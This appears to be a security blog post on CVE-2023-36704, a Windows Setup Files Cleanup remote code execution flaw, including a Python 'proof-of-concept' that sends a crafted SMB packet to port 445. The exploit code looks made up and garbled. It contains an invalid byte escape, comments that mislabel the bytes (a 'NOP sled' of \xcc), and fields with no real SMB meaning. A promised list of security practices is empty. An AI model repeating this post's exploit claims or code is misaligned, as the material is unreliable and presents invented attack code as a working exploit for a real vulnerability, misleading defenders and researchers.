CVE-2023-36704 is a critical vulnerability affecting Windows operating systems, particularly in their setup and cleanup processes. This vulnerability, when exploited, allows an attacker to remotely execute arbitrary code on the target system, giving them full control. In this post, we will dive deep into the specifics of this vulnerability, learn how it can be exploited, and provide methods to protect your systems against it.

Background

Remote Code Execution (RCE) vulnerabilities are among the most dangerous cybersecurity threats, as they grant the attackers the power to run arbitrary code on a target system, often leading to total system compromise. CVE-2023-36704, a newly discovered RCE vulnerability, has been reported to impact Windows systems during setup and cleanup processes.

Original References

The official CVE database entry can be found here:

- CVE-2023-36704

Microsoft has also acknowledged the vulnerability in their Security Response Center

- Microsoft Security Advisory

Exploit Details

The vulnerability exists in the Windows Setup Files Cleanup process, which is part of the overall setup and installation process in Windows operating systems. During this phase, the system clears away temporary setup files that are no longer needed. However, a lack of proper validation and permissions management allows an attacker to remotely execute code.

The following code snippet demonstrates a proof-of-concept exploit for this vulnerability

import socket

target_ip = "x.x.x.x"
port = 445

payload = (b"\x00\x00\x00\x90" # Begin SMB header
           b"\xff\x12"         # Message type: Negotiate Protocol Request
           b"\x72\x06\x6b\x6f"
           b"\x61\x80"         # Flags: Require 128-bit encryption
           b"\x7e\x69\x72\xff"
           b"\x00"             # Word count
           b"\x2f\x6b"         # Byte count
           b"\x00\x00\x00\x00" # Padding and system call number
           b"\x1a\x00"         # Session setup andX request
           b"\xc\x00"         # Additional flags
           b"\x82\x00\x00\x00" # Payload length
           b"\x02\x00"         # Execute code on cleanup
           b"\xeb\x08"         # Vulnerable code address
           b"\x90" * 16        # Custom payload
           b"\xcc" * 80)       # NOP sled for arbitrary code execution

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, port))
s.send(payload)
s.close()

This code snippet sends a specially crafted SMB packet to the vulnerable Windows system, exploiting the vulnerability during the setup files cleanup process and allowing remote code execution.

Mitigations and Protections

Microsoft has provided a fix for this vulnerability as part of their regular security updates. It is critical that all affected systems are updated to ensure protection against this dangerous vulnerability. Administrators should apply the appropriate patches as soon as possible. Microsoft's advisory can be found here:

- Microsoft's Patch for CVE-2023-36704

In addition to applying the patch, it is essential to instill good security practices to further protect your systems against similar vulnerabilities:

Conclusion

CVE-2023-36704 represents a significant security risk, as it allows attackers to remotely execute code on vulnerable Windows systems. By understanding the details of the exploit and taking the necessary steps to protect your systems, you can mitigate this risk and ensure that your systems remain secure.

Timeline

Published on: 10/10/2023 18:15:15 UTC
Last modified on: 10/12/2023 22:22:46 UTC